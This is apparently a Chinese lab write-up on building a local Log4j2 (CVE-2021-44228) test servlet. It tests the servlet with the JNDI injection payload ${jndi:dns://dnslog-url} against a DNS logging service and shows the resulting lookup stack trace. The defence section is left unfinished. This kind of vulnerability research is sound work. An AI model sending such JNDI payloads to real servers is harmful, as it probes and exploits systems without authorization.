0x01 环境搭建
在上篇文章的基础上,添加log4j2靶场
Step1
Web-src-main-java创建 Log4j2Servlet类
package Cve.Log4j2; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @WebServlet("/log") public class Log4j2Servlet extends HttpServlet { private static final Logger logger = LogManager.getLogger(Log4j2Servlet.class); // 确保有 public 无参构造函数 public Log4j2Servlet() { // 可以为空 } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 设置请求的字符编码为 UTF-8 request.setCharacterEncoding("UTF-8"); // 设置响应的字符编码为 UTF-8 response.setCharacterEncoding("UTF-8"); // 设置响应的内容类型为 text/html response.setContentType("text/html; charset=UTF-8"); String inputText = request.getParameter("inputText"); logger.info("进入 doPost 方法,用户输入: {}", inputText); response.getWriter().println("已记录输入: " + inputText); } }
Step2
Web-src-main-resources创建log4j2.xml配置文件
<Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout charset="UTF-8" pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>
Step3(可选)
IDEA-Configuration-Server-VM options:添加 -Dlog4j.debug
0x02 测试
通过dnslog平台测试
1、在dnslog获取subdomain
2、访问测试地址,输入payload:${jndi:dns://dnslog-url}
3、查看dnslog平台
4、(配置-Dlog4j.debug)查看控制台输出
WARN StatusLogger Error looking up JNDI resource [dns://69f9033a.log.dnslog.sbs]. javax.naming.CommunicationException: DNS error [Root exception is java.net.SocketTimeoutException: Receive timed out]; remaining name '.' at com.sun.jndi.dns.DnsClient.query(DnsClient.java:312) at com.sun.jndi.dns.Resolver.query(Resolver.java:81) at com.sun.jndi.dns.DnsContext.c_lookup(DnsContext.java:290) at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542) at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172) at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56) at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221) at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467) at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132) at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38) at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344) at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244) at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229) at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59) at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197) at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190) at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181) at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156) at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129) at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120) at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84) at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540) at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498) at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481) at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456) at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82) at org.apache.logging.log4j.core.Logger.log(Logger.java:161) at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205) at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159) at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142) at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2034) at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1899) at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1444) at Cve.Log4j2.Log4j2Servlet.doPost(Log4j2Servlet.java:31) at javax.servlet.http.HttpServlet.service(HttpServlet.java:652) at javax.servlet.http.HttpServlet.service(HttpServlet.java:733) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:201) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:544) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:698) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:364) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:616) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1629) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.net.SocketTimeoutException: Receive timed out at java.net.DualStackPlainDatagramSocketImpl.socketReceiveOrPeekData(Native Method) at java.net.DualStackPlainDatagramSocketImpl.receive0(DualStackPlainDatagramSocketImpl.java:124) at java.net.AbstractPlainDatagramSocketImpl.receive(AbstractPlainDatagramSocketImpl.java:143) at java.net.DatagramSocket.receive(DatagramSocket.java:812) at com.sun.jndi.dns.DnsClient.doUdpQuery(DnsClient.java:422) at com.sun.jndi.dns.DnsClient.query(DnsClient.java:211) ... 63 more DEBUG StatusLogger AsyncLogger.ThreadNameStrategy=UNCACHED (user specified null, default is UNCACHED) TRACE StatusLogger Using default SystemClock for timestamps. DEBUG StatusLogger org.apache.logging.log4j.core.util.SystemClock does not support precise timestamps.
可以看到Dnslog超时了,可添加 -Dsun.net.inetaddr.ttl=10000,强制使用TCP进行DNS查询 System.setProperty(“sun.net.spi.nameservice.dns.tcp”, “true”);等方法,这个问题没有细究,因为IDEA可以配置代理(^_^)。
在进一步查看,报错信息,结合之前对Log4j2的分析
log4j-core.jar\org\apache\logging\log4j\core\lookup
在报错中或者agent的输出中,都能看到lookup的调用过程
通过Agent查看的类加载过程

通过报错查看的类加载过程
0x03 防御
检测到特定的类加载,通过更换字节码?阻断类的加载进行防御(待实现)
0x04 参考
乱码问题:
分享一次解决 IDEA 中文日志控制台打印乱码(log4j)的经验_idea 中log4j乱码-CSDN博客
乱码问题总结:常见的中文乱码问题-CSDN博客
Lo4j2漏洞分析:
Apache Log4j2 RCE原理验证和复现(附CVE-2021-4101应急处置) – FreeBuf网络安全行业门户
Apache Log4j2 RCE命令执行漏洞分析 – FreeBuf网络安全行业门户
Log4j2—漏洞分析(CVE-2021-44228) – 竹等寒 – 博客园